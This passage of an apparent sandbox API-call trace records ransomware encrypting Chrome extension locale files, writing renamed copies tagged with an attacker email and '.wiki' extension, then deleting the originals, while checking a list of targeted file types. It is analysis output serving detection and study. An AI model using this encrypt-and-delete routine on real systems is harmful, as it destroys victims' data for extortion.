Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.521] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.521] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.522] GetLastError () returned 0x0 [0176.522] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xd4, lpOverlapped=0x0) returned 1 [0176.526] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0176.527] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.527] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.527] SetEndOfFile (hFile=0x2dc) returned 1 [0176.527] CloseHandle (hObject=0x2dc) returned 1 [0176.527] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.527] SetEndOfFile (hFile=0x19c) returned 1 [0176.528] CloseHandle (hObject=0x19c) returned 1 [0176.528] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.528] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json")) returned 1 [0176.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 151 [0176.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 151 [0176.528] lstrlenW (lpString=".doc") returned 4 [0176.528] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.528] lstrlenW (lpString=".docx") returned 5 [0176.528] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.529] lstrlenW (lpString=".pdf") returned 4 [0176.529] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.529] lstrlenW (lpString=".xls") returned 4 [0176.529] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.529] lstrlenW (lpString=".xlsx") returned 5 [0176.529] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.529] lstrlenW (lpString=".ppt") returned 4 [0176.529] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 151 [0176.529] lstrlenW (lpString=".zip") returned 4 [0176.529] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.529] lstrlenW (lpString=".rar") returned 4 [0176.529] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.529] lstrlenW (lpString=".bz2") returned 4 [0176.529] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.529] lstrlenW (lpString=".7z") returned 3 [0176.529] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 151 [0176.529] lstrlenW (lpString=".dbf") returned 4 [0176.529] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 151 [0176.529] lstrlenW (lpString=".1cd") returned 4 [0176.529] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 151 [0176.529] lstrlenW (lpString=".jpg") returned 4 [0176.529] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 151 [0176.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 151 [0176.530] lstrlenW (lpString=".doc") returned 4 [0176.530] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.530] lstrlenW (lpString=".docx") returned 5 [0176.530] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.530] lstrlenW (lpString=".pdf") returned 4 [0176.530] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.530] lstrlenW (lpString=".xls") returned 4 [0176.530] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.530] lstrlenW (lpString=".xlsx") returned 5 [0176.530] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.530] lstrlenW (lpString=".ppt") returned 4 [0176.530] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 151 [0176.530] lstrlenW (lpString=".zip") returned 4 [0176.530] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.530] lstrlenW (lpString=".rar") returned 4 [0176.530] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.530] lstrlenW (lpString=".bz2") returned 4 [0176.530] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.530] lstrlenW (lpString=".7z") returned 3 [0176.530] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 151 [0176.530] lstrlenW (lpString=".dbf") returned 4 [0176.530] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 151 [0176.530] lstrlenW (lpString=".1cd") returned 4 [0176.530] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 151 [0176.530] lstrlenW (lpString=".jpg") returned 4 [0176.531] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.531] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.531] lstrlenW (lpString="messages.json") returned 13 [0176.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.531] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=152) returned 1 [0176.531] CloseHandle (hObject=0x19c) returned 1 [0176.531] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json")) returned 0x2020 [0176.531] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.532] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.532] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.535] GetLastError () returned 0x0 [0176.535] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x98, lpOverlapped=0x0) returned 1 [0176.536] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xa0, lpOverlapped=0x0) returned 1 [0176.537] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.537] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.537] SetEndOfFile (hFile=0x2dc) returned 1 [0176.537] CloseHandle (hObject=0x2dc) returned 1 [0176.538] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.538] SetEndOfFile (hFile=0x19c) returned 1 [0176.538] CloseHandle (hObject=0x19c) returned 1 [0176.538] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.539] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json")) returned 1 [0176.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 151 [0176.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 151 [0176.539] lstrlenW (lpString=".doc") returned 4 [0176.539] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.539] lstrlenW (lpString=".docx") returned 5 [0176.539] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.539] lstrlenW (lpString=".pdf") returned 4 [0176.539] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.539] lstrlenW (lpString=".xls") returned 4 [0176.539] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.539] lstrlenW (lpString=".xlsx") returned 5 [0176.539] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.539] lstrlenW (lpString=".ppt") returned 4 [0176.539] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 151 [0176.539] lstrlenW (lpString=".zip") returned 4 [0176.539] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.540] lstrlenW (lpString=".rar") returned 4 [0176.540] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.540] lstrlenW (lpString=".bz2") returned 4 [0176.540] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.540] lstrlenW (lpString=".7z") returned 3 [0176.540] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 151 [0176.540] lstrlenW (lpString=".dbf") returned 4 [0176.540] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 151 [0176.540] lstrlenW (lpString=".1cd") returned 4 [0176.540] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 151 [0176.540] lstrlenW (lpString=".jpg") returned 4 [0176.540] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 151 [0176.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 151 [0176.540] lstrlenW (lpString=".doc") returned 4 [0176.540] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.540] lstrlenW (lpString=".docx") returned 5 [0176.540] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.540] lstrlenW (lpString=".pdf") returned 4 [0176.540] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.540] lstrlenW (lpString=".xls") returned 4 [0176.540] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.540] lstrlenW (lpString=".xlsx") returned 5 [0176.540] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.540] lstrlenW (lpString=".ppt") returned 4 [0176.541] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 151 [0176.541] lstrlenW (lpString=".zip") returned 4 [0176.541] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.541] lstrlenW (lpString=".rar") returned 4 [0176.541] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.541] lstrlenW (lpString=".bz2") returned 4 [0176.541] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.541] lstrlenW (lpString=".7z") returned 3 [0176.541] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 151 [0176.541] lstrlenW (lpString=".dbf") returned 4 [0176.541] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 151 [0176.541] lstrlenW (lpString=".1cd") returned 4 [0176.541] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.541] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 151 [0176.541] lstrlenW (lpString=".jpg") returned 4 [0176.541] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.541] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.541] lstrlenW (lpString="messages.json") returned 13 [0176.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.544] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=255) returned 1 [0176.544] CloseHandle (hObject=0x19c) returned 1 [0176.544] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json")) returned 0x2020 [0176.544] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.544] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.544] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.544] GetLastError () returned 0x0 [0176.545] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xff, lpOverlapped=0x0) returned 1 [0176.546] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x100, lpOverlapped=0x0) returned 1 [0176.546] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.546] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.547] SetEndOfFile (hFile=0x2dc) returned 1 [0176.547] CloseHandle (hObject=0x2dc) returned 1 [0176.547] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.547] SetEndOfFile (hFile=0x19c) returned 1 [0176.548] CloseHandle (hObject=0x19c) returned 1 [0176.548] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.548] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js 